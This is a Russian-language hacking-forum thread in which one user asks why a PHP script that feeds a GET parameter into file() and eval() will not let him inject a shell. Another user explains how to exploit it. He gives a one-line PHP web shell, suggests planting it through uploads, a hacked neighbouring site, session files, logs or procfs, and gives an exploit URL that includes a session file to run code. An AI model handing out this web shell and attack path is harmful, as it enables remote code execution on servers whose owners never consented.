eval и GET параметр

Discussion in 'Веб-уязвимости' started by GTAlex, 25 Sep 2019.

  1. GTAlex

    GTAlex New Member

    Joined:
    7 Sep 2009
    Messages:
    42
    Likes Received:
    0
    Reputations:
    0
    В скрипте есть такой код

    Code:
    $file=$_GET['file'];
    
    echo eval('?>'.join("",file("dir/$file")).'<?');
    
    Скрипт получает параметром имя файла из папки dir и выводит результат его выполнения.

    Как видно file вставлен в код без какого либо экранирования, но использовать эту фишку для внедрения шелла никак не получается

    Даже в тестовом режиме просто вместо file если передаю конструкцию для выполнения print(1) - не пашет
    Code:
    $file='")).print(1).(("';
    echo eval('?>'.join("",file("see/$file")).'<?');
    
    хотя если сразу вставить значение переменной в код - пашет
    Code:
    echo eval('?>'.join("",file("see/")).print(1).(("")).'<?');
    
     
  2. crlf

    crlf Green member

    Joined:
    18 Mar 2016
    Messages:
    518
    Likes Received:
    940
    Reputations:
    319
    Имея нечто подобное:
    PHP:
    $file=$_GET['file'];

    echo eval('?>join("",file("dir/'.$file.'"))<?');
    Ваши тесты оправдали бы себя :)

    В вашем же примере, данные для обработки в eval, это строка получаемая в результате склейки содержимого файла. Пользовательский ввод из $_GET['file'], сначала обрабатывается функцией file, далее строки склеиваются и только этот результат попадает в конечную строку обрабатываемую eval.
    Для успешной атаки, вам нужно загрузить свой файл на сервер. Примерно с таким содержимым:
    PHP:
    <?php
    eval($_REQUEST['code']);
    ?>
    Сделать это можно разными способами, используя встроенный функционал скриптов, загрузка картинок как пример. Взломать сайт по соседству и разместить свой файл во временной директории. Если же такой возможности нет, можно использовать файлы сессий PHP, временные файлы, лог файлы и procfs.
    После успешной отправки и определения точного местоположения вашей нагрузки, ипользовать найденную вами уязвимость, примерно в таком виде:

    Code:
    http://your-site.com/vulnerable-script.php?file=/tmp/sess_db459ddca34fd63261084684bed71f7c&code=phpinfo();
    
     
    #2 crlf, 25 Sep 2019
    Last edited: 25 Sep 2019
    Imperou$, GTAlex and ms13 like this.
  3. GTAlex

    GTAlex New Member

    Joined:
    7 Sep 2009
    Messages:
    42
    Likes Received:
    0
    Reputations:
    0
    Спасибо большое, очень развёрнуто! За ссылочки отдельное спасибо!
     
Loading...